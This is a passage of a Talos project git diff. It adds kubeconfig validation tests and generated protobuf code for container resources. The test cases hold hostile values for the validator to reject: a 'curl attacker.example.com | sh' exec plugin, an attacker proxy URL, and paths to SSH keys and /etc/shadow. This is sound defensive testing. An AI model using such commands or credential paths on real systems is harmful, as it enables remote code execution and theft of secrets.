or an error if there is not exactly one. +func single[T any](m map[string]*T, kind string) (string, *T, error) { + if len(m) != 1 { + return "", nil, fmt.Errorf("expected exactly one %s, got %d", kind, len(m)) + } + + for name, value := range m { + if value == nil { + return "", nil, fmt.Errorf("%s %q is empty", kind, name) + } + + return name, value, nil + } + + panic("unreachable") +} diff --git a/pkg/kubeconfig/validate_test.go b/pkg/kubeconfig/validate_test.go new file mode 100644 index 00000000000..bfddbd48ef9 --- /dev/null +++ b/pkg/kubeconfig/validate_test.go @@ -0,0 +1,350 @@ +// This Source Code Form is subject to the terms of the Mozilla Public +// License, v. 2.0. If a copy of the MPL was not distributed with this +// file, You can obtain one at http://mozilla.org/MPL/2.0/. + +package kubeconfig_test + +import ( + "bytes" + "testing" + "time" + + "github.com/siderolabs/crypto/x509" + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + "k8s.io/apimachinery/pkg/runtime" + clientcmdapi "k8s.io/client-go/tools/clientcmd/api" + + "github.com/siderolabs/talos/pkg/kubeconfig" +) + +// generateTestKubeconfig generates a kubeconfig the way Talos does it for the `kubeconfig` API. +func generateTestKubeconfig(t *testing.T) []byte { + t.Helper() + + ca, err := x509.NewSelfSignedCertificateAuthority(x509.RSA(false)) + require.NoError(t, err) + + k8sCA := x509.NewCertificateAndKeyFromCertificateAuthority(ca) + + var buf bytes.Buffer + + require.NoError(t, kubeconfig.Generate(&kubeconfig.GenerateInput{ + ClusterName: "talos-default", + + IssuingCA: k8sCA, + AcceptedCAs: []*x509.PEMEncodedCertificate{{Crt: k8sCA.Crt}}, + CertificateLifetime: time.Hour, + + CommonName: "admin", + Organization: "system:masters", + + Endpoint: "https://localhost:6443/", + Username: "admin", + ContextName: "admin", + }, &buf)) + + return buf.Bytes() +} + +func TestValidateGenerated(t *testing.T) { + t.Parallel() + + config, err := kubeconfig.LoadAndValidate(generateTestKubeconfig(t)) + require.NoError(t, err) + + assert.Equal(t, "admin@talos-default", config.CurrentContext) + + // clientcmd.Load strips the TypeMeta, so kind/apiVersion are empty even though Talos + // generates them: validation has to tolerate that. + assert.Empty(t, config.Kind) + assert.Empty(t, config.APIVersion) +} + +func TestValidateNotAKubeconfig(t *testing.T) { + t.Parallel() + + _, err := kubeconfig.LoadAndValidate([]byte("\tnot: [a, kubeconfig")) + assert.ErrorContains(t, err, "error parsing kubeconfig") + + _, err = kubeconfig.LoadAndValidate(nil) + assert.ErrorIs(t, err, kubeconfig.ErrInvalidKubeconfig) +} + +//nolint:maintidx +func TestValidateRejects(t *testing.T) { + t.Parallel() + + valid := generateTestKubeconfig(t) + + for _, test := range []struct { + name string + mutate func(*clientcmdapi.Config) + expectedError string + }{ + { + name: "exec credential plugin", + mutate: func(config *clientcmdapi.Config) { + authInfo(config).Exec = &clientcmdapi.ExecConfig{ + APIVersion: "client.authentication.k8s.io/v1", + Command: "/bin/sh", + Args: []string{"-c", "curl attacker.example.com | sh"}, + } + }, + expectedError: `user field "exec" is not allowed`, + }, + { + name: "auth provider", + mutate: func(config *clientcmdapi.Config) { + authInfo(config).AuthProvider = &clientcmdapi.AuthProviderConfig{Name: "gcp"} + }, + expectedError: `user field "auth-provider" is not allowed`, + }, + { + name: "bearer token", + mutate: func(config *clientcmdapi.Config) { + authInfo(config).Token = "deadbeef" + }, + expectedError: `user field "token" is not allowed`, + }, + { + name: "token file", + mutate: func(config *clientcmdapi.Config) { + authInfo(config).TokenFile = "/home/user/.ssh/id_ed25519" + }, + expectedError: `user field "tokenFile" is not allowed`, + }, + { + name: "client certificate path", + mutate: func(config *clientcmdapi.Config) { + authInfo(config).ClientCertificate = "/etc/shadow" + }, + expectedError: `user field "client-certificate" is not allowed`, + }, + { + name: "client key path", + mutate: func(config *clientcmdapi.Config) { + authInfo(config).ClientKey = "/etc/shadow" + }, + expectedError: `user field "client-key" is not allowed`, + }, + { + name: "impersonation", + mutate: func(config *clientcmdapi.Config) { + authInfo(config).Impersonate = "system:admin" + }, + expectedError: `user field "act-as" is not allowed`, + }, + { + name: "basic auth", + mutate: func(config *clientcmdapi.Config) { + authInfo(config).Username = "admin" + authInfo(config).Password = "admin" + }, + expectedError: `user field "password" is not allowed`, + }, + { + name: "no client certificate", + mutate: func(config *clientcmdapi.Config) { + authInfo(config).ClientCertificateData = nil + }, + expectedError: `user field "client-certificate-data" is not set`, + }, + { + name: "client key doesn't match the certificate", + mutate: func(config *clientcmdapi.Config) { + other, err := x509.NewSelfSignedCertificateAuthority(x509.RSA(false)) + require.NoError(t, err) + + authInfo(config).ClientKeyData = other.KeyPEM + }, + expectedError: "invalid client certificate and key pair", + }, + { + name: "proxy URL", + mutate: func(config *clientcmdapi.Config) { + cluster(config).ProxyURL = "socks5://attacker.example.com:1080" + }, + expectedError: `cluster field "proxy-url" is not allowed`, + }, + { + name: "insecure skip TLS verify", + mutate: func(config *clientcmdapi.Config) { + cluster(config).InsecureSkipTLSVerify = true + }, + expectedError: `cluster field "insecure-skip-tls-verify" is not allowed`, + }, + { + name: "TLS server name", + mutate: func(config *clientcmdapi.Config) { + cluster(config).TLSServerName = "kubernetes.default" + }, + expectedError: `cluster field "tls-server-name" is not allowed`, + }, + { + name: "certificate authority path", + mutate: func(config *clientcmdapi.Config) { + cluster(config).CertificateAuthority = "/etc/ssl/certs/ca-certificates.crt" + }, + expectedError: `cluster field "certificate-authority" is not allowed`, + }, + { + name: "no server CA", + mutate: func(config *clientcmdapi.Config) { + cluster(config).CertificateAuthorityData = nil + }, + expectedError: `cluster field "certificate-authority-data" is not set`, + }, + { + name: "server CA is not a certificate", + mutate: func(config *clientcmdapi.Config) { + cluster(config).CertificateAuthorityData = authInfo(config).ClientKeyData + }, + expectedError: "unexpected PEM block type", + }, + { + name: "garbage after the server CA", + mutate: func(config *clientcmdapi.Config) { + cluster(config).CertificateAuthorityData = append(cluster(config).CertificateAuthorityData, []byte("trailing")...) + }, + expectedError: "trailing data after the PEM-encoded certificates", + }, + { + name: "non-HTTP server URL", + mutate: func(config *clientcmdapi.Config) { + cluster(config).Server = "unix:///var/run/attacker.sock" + }, + expectedError: `unexpected cluster server URL scheme "unix"`, + }, + { + name: "extra cluster", + mutate: func(config *clientcmdapi.Config) { + config.Clusters["extra"] = clientcmdapi.NewCluster() + }, + expectedError: "expected exactly one cluster, got 2", + }, + { + name: "extra user", + mutate: func(config *clientcmdapi.Config) { + config.AuthInfos["extra"] = clientcmdapi.NewAuthInfo() + }, + expectedError: "expected exactly one user, got 2", + }, + { + name: "extra context", + mutate: func(config *clientcmdapi.Config) { + config.Contexts["extra"] = clientcmdapi.NewContext() + }, + expectedError: "expected exactly one context, got 2", + }, + { + name: "current context points elsewhere", + mutate: func(config *clientcmdapi.Config) { + config.CurrentContext = "victim-production" + }, + expectedError: `current-context "victim-production" doesn't match the only context "admin@talos-default"`, + }, + { + name: "context references another cluster", + mutate: func(config *clientcmdapi.Config) { + kubeContext(config).Cluster = "victim-production" + }, + expectedError: `context references cluster "victim-production"`, + }, + { + name: "context references another user", + mutate: func(config *clientcmdapi.Config) { + kubeContext(config).AuthInfo = "victim-admin" + }, + expectedError: `context references user "victim-admin"`, + }, + { + name: "terminal escapes in the cluster name", + mutate: func(config *clientcmdapi.Config) { + rename(config.Clusters, "talos-default", "talos\x1b[2Jdefault") + kubeContext(config).Cluster = "talos\x1b[2Jdefault" + }, + expectedError: "cluster name contains control characters", + }, + { + name: "context namespace is not the default one", + mutate: func(config *clientcmdapi.Config) { + kubeContext(config).Namespace = "kube-system" + }, + expectedError: `unexpected context namespace "kube-system", expected "default"`, + }, + { + name: "wrong kind", + mutate: func(config *clientcmdapi.Config) { + config.Kind = "Secret" + }, + expectedError: `unexpected kind "Secret"`, + }, + { + name: "wrong apiVersion", + mutate: func(config *clientcmdapi.Config) { + config.APIVersion = "client.authentication.k8s.io/v1" + }, + expectedError: `unexpected apiVersion "client.authentication.k8s.io/v1"`, + }, + { + name: "server URL without a host", + mutate: func(config *clientcmdapi.Config) { + cluster(config).Server = "https://" + }, + expectedError: "cluster server URL has no host", + }, + { + name: "server URL with embedded credentials", + mutate: func(config *clientcmdapi.Config) { + cluster(config).Server = "https://user:password@localhost:6443/" + }, + expectedError: "cluster server URL has embedded credentials", + }, + { + name: "extensions", + mutate: func(config *clientcmdapi.Config) { + config.Extensions = map[string]runtime.Object{"foo": nil} + }, + expectedError: `top-level field "extensions" is not allowed`, + }, + { + name: "preferences", + mutate: func(config *clientcmdapi.Config) { + config.Preferences.Colors = true + }, + expectedError: `top-level field "preferences" is not allowed`, + }, + } { + t.Run(test.name, func(t *testing.T) { + t.Parallel() + + config, err := kubeconfig.LoadAndValidate(valid) + require.NoError(t, err) + + test.mutate(config) + + err = kubeconfig.Validate(config) + require.Error(t, err) + assert.ErrorIs(t, err, kubeconfig.ErrInvalidKubeconfig) + assert.ErrorContains(t, err, test.expectedError) + }) + } +} + +func cluster(config *clientcmdapi.Config) *clientcmdapi.Cluster { + return config.Clusters["talos-default"] +} + +func authInfo(config *clientcmdapi.Config) *clientcmdapi.AuthInfo { + return config.AuthInfos["admin@talos-default"] +} + +func kubeContext(config *clientcmdapi.Config) *clientcmdapi.Context { + return config.Contexts["admin@talos-default"] +} + +func rename[T any](m map[string]*T, from, to string) { + m[to] = m[from] + delete(m, from) +} diff --git a/pkg/machinery/api/common/common.pb.go b/pkg/machinery/api/common/common.pb.go index 16aa6834b40..673ff78560d 100644 --- a/pkg/machinery/api/common/common.pb.go +++ b/pkg/machinery/api/common/common.pb.go @@ -126,6 +126,8 @@ const ( ContainerdNamespace_NS_UNKNOWN ContainerdNamespace = 0 ContainerdNamespace_NS_SYSTEM ContainerdNamespace = 1 ContainerdNamespace_NS_CRI ContainerdNamespace = 2 + // NS_TALOSCONTAINERS is the namespace for containers declared via a ContainerConfig document. + ContainerdNamespace_NS_TALOSCONTAINERS ContainerdNamespace = 3 ) // Enum value maps for ContainerdNamespace. @@ -134,11 +136,13 @@ var ( 0: "NS_UNKNOWN", 1: "NS_SYSTEM", 2: "NS_CRI", + 3: "NS_TALOSCONTAINERS", } ContainerdNamespace_value = map[string]int32{ - "NS_UNKNOWN": 0, - "NS_SYSTEM": 1, - "NS_CRI": 2, + "NS_UNKNOWN": 0, + "NS_SYSTEM": 1, + "NS_CRI": 2, + "NS_TALOSCONTAINERS": 3, } ) @@ -1028,13 +1032,14 @@ const file_common_common_proto_rawDesc = "" + "\x0fContainerDriver\x12\x0e\n" + "\n" + "CONTAINERD\x10\x00\x12\a\n" + - "\x03CRI\x10\x01*@\n" + + "\x03CRI\x10\x01*X\n" + "\x13ContainerdNamespace\x12\x0e\n" + "\n" + "NS_UNKNOWN\x10\x00\x12\r\n" + "\tNS_SYSTEM\x10\x01\x12\n" + "\n" + - "\x06NS_CRI\x10\x02:]\n" + + "\x06NS_CRI\x10\x02\x12\x16\n" + + "\x12NS_TALOSCONTAINERS\x10\x03:]\n" + "\x19remove_deprecated_message\x12\x1f.google.protobuf.MessageOptions\x18\xbd\xd7\x05 \x01(\tR\x17removeDeprecatedMessage:W\n" + "\x17remove_deprecated_field\x12\x1d.google.protobuf.FieldOptions\x18\xbd\xd7\x05 \x01(\tR\x15removeDeprecatedField:T\n" + "\x16remove_deprecated_enum\x12\x1c.google.protobuf.EnumOptions\x18\xbd\xd7\x05 \x01(\tR\x14removeDeprecatedEnum:d\n" + diff --git a/pkg/machinery/api/resource/definitions/containers/containers.pb.go b/pkg/machinery/api/resource/definitions/containers/containers.pb.go index 01f83804340..b846a43cbf2 100644 --- a/pkg/machinery/api/resource/definitions/containers/containers.pb.go +++ b/pkg/machinery/api/resource/definitions/containers/containers.pb.go @@ -13,6 +13,7 @@ import ( protoreflect "google.golang.org/protobuf/reflect/protoreflect" protoimpl "google.golang.org/protobuf/runtime/protoimpl" + timestamppb "google.golang.org/protobuf/types/known/timestamppb" enums "github.com/siderolabs/talos/pkg/machinery/api/resource/definitions/enums" ) @@ -210,6 +211,256 @@ func (x *ContainerImageStatusSpec) GetError() string { return "" } +// ContainerInstanceSpecSpec is the spec for ContainerInstanceSpec. +// +// It carries a resolved snapshot of everything needed to run one execution, so whatever runs it +// never has to re-read the container spec or image status. That keeps the execution independent of +// later changes to those inputs: a spec change destroys this instance rather than mutating it. +type ContainerInstanceSpecSpec struct { + state protoimpl.MessageState `protogen:"open.v1"` + // ContainerID is the name of the owning container, i.e. the ContainerSpec ID. + ContainerId string `protobuf:"bytes,1,opt,name=container_id,json=containerId,proto3" json:"container_id,omitempty"` + // Generation is this instance's sequence number for that container. + Generation uint64 `protobuf:"varint,2,opt,name=generation,proto3" json:"generation,omitempty"` + // Image is the digest-resolved reference to run. + Image string `protobuf:"bytes,3,opt,name=image,proto3" json:"image,omitempty"` + Entrypoint []string `protobuf:"bytes,4,rep,name=entrypoint,proto3" json:"entrypoint,omitempty"` + Args []string `protobuf:"bytes,5,rep,name=args,proto3" json:"args,omitempty"` + WorkingDir string `protobuf:"bytes,6,opt,name=working_dir,json=workingDir,proto3" json:"working_dir,omitempty"` + RunAs *ContainerRunAsSpec `protobuf:"bytes,7,opt,name=run_as,json=runAs,proto3" json:"run_as,omitempty"` + Environment []string `protobuf:"bytes,8,rep,name=environment,proto3" json:"environment,omitempty"` + // Mounts are fully resolved, with host source paths filled in. + Mounts []*ResolvedMountSpec `protobuf:"bytes,9,rep,name=mounts,proto3" json:"mounts,omitempty"` + Security *ContainerSecuritySpec `protobuf:"bytes,10,opt,name=security,proto3" json:"security,omitempty"` + Network *ContainerNetworkSpec `protobuf:"bytes,11,opt,name=network,proto3" json:"network,omitempty"` + Resources *ContainerResourcesSpec `protobuf:"bytes,12,opt,name=resources,proto3" json:"resources,omitempty"` + unknownFields protoimpl.UnknownFields + sizeCache protoimpl.SizeCache +} + +func (x *ContainerInstanceSpecSpec) Reset() { + *x = ContainerInstanceSpecSpec{} + mi := &file_resource_definitions_containers_containers_proto_msgTypes[3] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) +} + +func (x *ContainerInstanceSpecSpec) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*ContainerInstanceSpecSpec) ProtoMessage() {} + +func (x *ContainerInstanceSpecSpec) ProtoReflect() protoreflect.Message { + mi := &file_resource_definitions_containers_containers_proto_msgTypes[3] + if x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use ContainerInstanceSpecSpec.ProtoReflect.Descriptor instead. +func (*ContainerInstanceSpecSpec) Descriptor() ([]byte, []int) { + return file_resource_definitions_containers_containers_proto_rawDescGZIP(), []int{3} +} + +func (x *ContainerInstanceSpecSpec) GetContainerId() string { + if x != nil { + return x.ContainerId + } + return "" +} + +func (x *ContainerInstanceSpecSpec) GetGeneration() uint64 { + if x != nil { + return x.Generation + } + return 0 +} + +func (x *ContainerInstanceSpecSpec) GetImage() string { + if x != nil { + return x.Image + } + return "" +} + +func (x *ContainerInstanceSpecSpec) GetEntrypoint() []string { + if x != nil { + return x.Entrypoint + } + return nil +} + +func (x *ContainerInstanceSpecSpec) GetArgs() []string { + if x != nil { + return x.Args + } + return nil +} + +func (x *ContainerInstanceSpecSpec) GetWorkingDir() string { + if x != nil { + return x.WorkingDir + } + return "" +} + +func (x *ContainerInstanceSpecSpec) GetRunAs() *ContainerRunAsSpec { + if x != nil { + return x.RunAs + } + return nil +} + +func (x *ContainerInstanceSpecSpec) GetEnvironment() []string { + if x != nil { + return x.Environment + } + return nil +} + +func (x *ContainerInstanceSpecSpec) GetMounts() []*ResolvedMountSpec { + if x != nil { + return x.Mounts + } + return nil +} + +func (x *ContainerInstanceSpecSpec) GetSecurity() *ContainerSecuritySpec { + if x != nil { + return x.Security + } + return nil +} + +func (x *ContainerInstanceSpecSpec) GetNetwork() *ContainerNetworkSpec { + if x != nil { + return x.Network + } + return nil +} + +func (x *ContainerInstanceSpecSpec) GetResources() *ContainerResourcesSpec { + if x != nil { + return x.Resources + } + return nil +} + +// ContainerInstanceStatusSpec is the spec for ContainerInstanceStatus. +type ContainerInstanceStatusSpec struct { + state protoimpl.MessageState `protogen:"open.v1"` + // ContainerID is the name of the owning container, i.e. the ContainerSpec ID. + ContainerId string `protobuf:"bytes,1,opt,name=container_id,json=containerId,proto3" json:"container_id,omitempty"` + // Generation is the reported instance's sequence number for that container. + Generation uint64 `protobuf:"varint,2,opt,name=generation,proto3" json:"generation,omitempty"` + // Phase is the current execution phase. + Phase enums.ContainersContainerInstancePhase `protobuf:"varint,3,opt,name=phase,proto3,enum=talos.resource.definitions.enums.ContainersContainerInstancePhase" json:"phase,omitempty"` + // PID is the task's process ID while running. + Pid uint32 `protobuf:"varint,4,opt,name=pid,proto3" json:"pid,omitempty"` + // ExitCode is the task's exit code, meaningful only once Phase is ContainerInstancePhaseTerminated. + ExitCode int32 `protobuf:"varint,5,opt,name=exit_code,json=exitCode,proto3" json:"exit_code,omitempty"` + // Error describes why the task never started or exited abnormally. + Error string `protobuf:"bytes,6,opt,name=error,proto3" json:"error,omitempty"` + // StartedAt is when the task's process started. + StartedAt *timestamppb.Timestamp `protobuf:"bytes,7,opt,name=started_at,json=startedAt,proto3" json:"started_at,omitempty"` + // FinishedAt is when the task stopped running. + FinishedAt *timestamppb.Timestamp `protobuf:"bytes,8,opt,name=finished_at,json=finishedAt,proto3" json:"finished_at,omitempty"` + unknownFields protoimpl.UnknownFields + sizeCache protoimpl.SizeCache +} + +func (x *ContainerInstanceStatusSpec) Reset() { + *x = ContainerInstanceStatusSpec{} + mi := &file_resource_definitions_containers_containers_proto_msgTypes[4] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) +} + +func (x *ContainerInstanceStatusSpec) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*ContainerInstanceStatusSpec) ProtoMessage() {} + +func (x *ContainerInstanceStatusSpec) ProtoReflect() protoreflect.Message { + mi := &file_resource_definitions_containers_containers_proto_msgTypes[4] + if x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use ContainerInstanceStatusSpec.ProtoReflect.Descriptor instead. +func (*ContainerInstanceStatusSpec) Descriptor() ([]byte, []int) { + return file_resource_definitions_containers_containers_proto_rawDescGZIP(), []int{4} +} + +func (x *ContainerInstanceStatusSpec) GetContainerId() string { + if x != nil { + return x.ContainerId + } + return "" +} + +func (x *ContainerInstanceStatusSpec) GetGeneration() uint64 { + if x != nil { + return x.Generation + } + return 0 +} + +func (x *ContainerInstanceStatusSpec) GetPhase() enums.ContainersContainerInstancePhase { + if x != nil { + return x.Phase + } + return enums.ContainersContainerInstancePhase(0) +} + +func (x *ContainerInstanceStatusSpec) GetPid() uint32 { + if x != nil { + return x.Pid + } + return 0 +} + +func (x *ContainerInstanceStatusSpec) GetExitCode() int32 { + if x != nil { + return x.ExitCode + } + return 0 +} + +func (x *ContainerInstanceStatusSpec) GetError() string { + if x != nil { + return x.Error + } + return "" +} + +func (x *ContainerInstanceStatusSpec) GetStartedAt() *timestamppb.Timestamp { + if x != nil { + return x.StartedAt + } + return nil +} + +func (x *ContainerInstanceStatusSpec) GetFinishedAt() *timestamppb.Timestamp { + if x != nil { + return x.FinishedAt + } + return nil +} + // ContainerMountSpec is a resolved mount. // // Exactly one of VolumeID, Tmpfs or HostPath describes the source; Kind says which. @@ -225,7 +476,7 @@ type ContainerMountSpec struct { Destination string `protobuf:"bytes,4,opt,name=destination,proto3" json:"destination,omitempty"` // Size of a tmpfs mount, in bytes; zero means the kernel default. Size uint64 `protobuf:"varint,5,opt,name=size,proto3" json:"size,omitempty"` - // Options with the read-only default already applied. + // Options with the writable default already applied. Options []string `protobuf:"bytes,6,rep,name=options,proto3" json:"options,omitempty"` unknownFields protoimpl.UnknownFields sizeCache protoimpl.SizeCache @@ -233,7 +484,7 @@ type ContainerMountSpec struct { func (x *ContainerMountSpec) Reset() { *x = ContainerMountSpec{} - mi := &file_resource_definitions_containers_containers_proto_msgTypes[3] + mi := &file_resource_definitions_containers_containers_proto_msgTypes[5] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -245,7 +496,7 @@ func (x *ContainerMountSpec) String() string { func (*ContainerMountSpec) ProtoMessage() {} func (x *ContainerMountSpec) ProtoReflect() protoreflect.Message { - mi := &file_resource_definitions_containers_containers_proto_msgTypes[3] + mi := &file_resource_definitions_containers_containers_proto_msgTypes[5] if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -258,7 +509,7 @@ func (x *ContainerMountSpec) ProtoReflect() protoreflect.Message { // Deprecated: Use ContainerMountSpec.ProtoReflect.Descriptor instead. func (*ContainerMountSpec) Descriptor() ([]byte, []int) { - return file_resource_definitions_containers_containers_proto_rawDescGZIP(), []int{3} + return file_resource_definitions_containers_containers_proto_rawDescGZIP(), []int{5} } func (x *ContainerMountSpec) GetKind() string { @@ -303,6 +554,70 @@ func (x *ContainerMountSpec) GetOptions() []string { return nil } +// ContainerMountStatusSpec is the spec for ContainerMountStatus. +type ContainerMountStatusSpec struct { + state protoimpl.MessageState `protogen:"open.v1"` + // Ready is true once every mount the container declares is available. + Ready bool `protobuf:"varint,1,opt,name=ready,proto3" json:"ready,omitempty"` + // Mounts are the resolved mounts, with host source paths filled in. Only meaningful when Ready. + Mounts []*ResolvedMountSpec `protobuf:"bytes,2,rep,name=mounts,proto3" json:"mounts,omitempty"` + // Error describes why the mounts are not ready. + Error string `protobuf:"bytes,3,opt,name=error,proto3" json:"error,omitempty"` + unknownFields protoimpl.UnknownFields + sizeCache protoimpl.SizeCache +} + +func (x *ContainerMountStatusSpec) Reset() { + *x = ContainerMountStatusSpec{} + mi := &file_resource_definitions_containers_containers_proto_msgTypes[6] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) +} + +func (x *ContainerMountStatusSpec) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*ContainerMountStatusSpec) ProtoMessage() {} + +func (x *ContainerMountStatusSpec) ProtoReflect() protoreflect.Message { + mi := &file_resource_definitions_containers_containers_proto_msgTypes[6] + if x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use ContainerMountStatusSpec.ProtoReflect.Descriptor instead. +func (*ContainerMountStatusSpec) Descriptor() ([]byte, []int) { + return file_resource_definitions_containers_containers_proto_rawDescGZIP(), []int{6} +} + +func (x *ContainerMountStatusSpec) GetReady() bool { + if x != nil { + return x.Ready + } + return false +} + +func (x *ContainerMountStatusSpec) GetMounts() []*ResolvedMountSpec { + if x != nil { + return x.Mounts + } + return nil +} + +func (x *ContainerMountStatusSpec) GetError() string { + if x != nil { + return x.Error + } + return "" +} + // ContainerNetworkSpec is the resolved network configuration. type ContainerNetworkSpec struct { state protoimpl.MessageState `protogen:"open.v1"` @@ -314,7 +629,7 @@ type ContainerNetworkSpec struct { func (x *ContainerNetworkSpec) Reset() { *x = ContainerNetworkSpec{} - mi := &file_resource_definitions_containers_containers_proto_msgTypes[4] + mi := &file_resource_definitions_containers_containers_proto_msgTypes[7] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -326,7 +641,7 @@ func (x *ContainerNetworkSpec) String() string { func (*ContainerNetworkSpec) ProtoMessage() {} func (x *ContainerNetworkSpec) ProtoReflect() protoreflect.Message { - mi := &file_resource_definitions_containers_containers_proto_msgTypes[4] + mi := &file_resource_definitions_containers_containers_proto_msgTypes[7] if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -339,7 +654,7 @@ func (x *ContainerNetworkSpec) ProtoReflect() protoreflect.Message { // Deprecated: Use ContainerNetworkSpec.ProtoReflect.Descriptor instead. func (*ContainerNetworkSpec) Descriptor() ([]byte, []int) { - return file_resource_definitions_containers_containers_proto_rawDescGZIP(), []int{4} + return file_resource_definitions_containers_containers_proto_rawDescGZIP(), []int{7} } func (x *ContainerNetworkSpec) GetHostNetwork() bool { @@ -362,7 +677,7 @@ type ContainerResourcesSpec struct { func (x *ContainerResourcesSpec) Reset() { *x = ContainerResourcesSpec{} - mi := &file_resource_definitions_containers_containers_proto_msgTypes[5] + mi := &file_resource_definitions_containers_containers_proto_msgTypes[8] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -374,7 +689,7 @@ func (x *ContainerResourcesSpec) String() string { func (*ContainerResourcesSpec) ProtoMessage() {} func (x *ContainerResourcesSpec) ProtoReflect() protoreflect.Message { - mi := &file_resource_definitions_containers_containers_proto_msgTypes[5] + mi := &file_resource_definitions_containers_containers_proto_msgTypes[8] if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -387,7 +702,7 @@ func (x *ContainerResourcesSpec) ProtoReflect() protoreflect.Message { // Deprecated: Use ContainerResourcesSpec.ProtoReflect.Descriptor instead. func (*ContainerResourcesSpec) Descriptor() ([]byte, []int) { - return file_resource_definitions_containers_containers_proto_rawDescGZIP(), []int{5} + return file_resource_definitions_containers_containers_proto_rawDescGZIP(), []int{8} } func (x *ContainerResourcesSpec) GetMemoryLimit() uint64 { @@ -417,7 +732,7 @@ type ContainerRunAsSpec struct { func (x *ContainerRunAsSpec) Reset() { *x = ContainerRunAsSpec{} - mi := &file_resource_definitions_containers_containers_proto_msgTypes[6] + mi := &file_resource_definitions_containers_containers_proto_msgTypes[9] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -429,7 +744,7 @@ func (x *ContainerRunAsSpec) String() string { func (*ContainerRunAsSpec) ProtoMessage() {} func (x *ContainerRunAsSpec) ProtoReflect() protoreflect.Message { - mi := &file_resource_definitions_containers_containers_proto_msgTypes[6] + mi := &file_resource_definitions_containers_containers_proto_msgTypes[9] if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -442,7 +757,7 @@ func (x *ContainerRunAsSpec) ProtoReflect() protoreflect.Message { // Deprecated: Use ContainerRunAsSpec.ProtoReflect.Descriptor instead. func (*ContainerRunAsSpec) Descriptor() ([]byte, []int) { - return file_resource_definitions_containers_containers_proto_rawDescGZIP(), []int{6} + return file_resource_definitions_containers_containers_proto_rawDescGZIP(), []int{9} } func (x *ContainerRunAsSpec) GetUid() int32 { @@ -467,13 +782,16 @@ type ContainerSecuritySpec struct { Privileged bool `protobuf:"varint,1,opt,name=privileged,proto3" json:"privileged,omitempty"` CapabilitiesAdd []string `protobuf:"bytes,2,rep,name=capabilities_add,json=capabilitiesAdd,proto3" json:"capabilities_add,omitempty"` CapabilitiesDrop []string `protobuf:"bytes,3,rep,name=capabilities_drop,json=capabilitiesDrop,proto3" json:"capabilities_drop,omitempty"` - unknownFields protoimpl.UnknownFields - sizeCache protoimpl.SizeCache + // MachinedAccess publishes the container's PID as a ServicePID resource and mounts the + // machined API socket into the container. + MachinedAccess bool `protobuf:"varint,4,opt,name=machined_access,json=machinedAccess,proto3" json:"machined_access,omitempty"` + unknownFields protoimpl.UnknownFields + sizeCache protoimpl.SizeCache } func (x *ContainerSecuritySpec) Reset() { *x = ContainerSecuritySpec{} - mi := &file_resource_definitions_containers_containers_proto_msgTypes[7] + mi := &file_resource_definitions_containers_containers_proto_msgTypes[10] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -485,7 +803,7 @@ func (x *ContainerSecuritySpec) String() string { func (*ContainerSecuritySpec) ProtoMessage() {} func (x *ContainerSecuritySpec) ProtoReflect() protoreflect.Message { - mi := &file_resource_definitions_containers_containers_proto_msgTypes[7] + mi := &file_resource_definitions_containers_containers_proto_msgTypes[10] if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -498,7 +816,7 @@ func (x *ContainerSecuritySpec) ProtoReflect() protoreflect.Message { // Deprecated: Use ContainerSecuritySpec.ProtoReflect.Descriptor instead. func (*ContainerSecuritySpec) Descriptor() ([]byte, []int) { - return file_resource_definitions_containers_containers_proto_rawDescGZIP(), []int{7} + return file_resource_definitions_containers_containers_proto_rawDescGZIP(), []int{10} } func (x *ContainerSecuritySpec) GetPrivileged() bool { @@ -522,6 +840,13 @@ func (x *ContainerSecuritySpec) GetCapabilitiesDrop() []string { return nil } +func (x *ContainerSecuritySpec) GetMachinedAccess() bool { + if x != nil { + return x.MachinedAccess + } + return false +} + // ContainerSpecSpec is the spec for ContainerSpec. type ContainerSpecSpec struct { state protoimpl.MessageState `protogen:"open.v1"` @@ -543,7 +868,7 @@ type ContainerSpecSpec struct { func (x *ContainerSpecSpec) Reset() { *x = ContainerSpecSpec{} - mi := &file_resource_definitions_containers_containers_proto_msgTypes[8] + mi := &file_resource_definitions_containers_containers_proto_msgTypes[11] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -555,7 +880,7 @@ func (x *ContainerSpecSpec) String() string { func (*ContainerSpecSpec) ProtoMessage() {} func (x *ContainerSpecSpec) ProtoReflect() protoreflect.Message { - mi 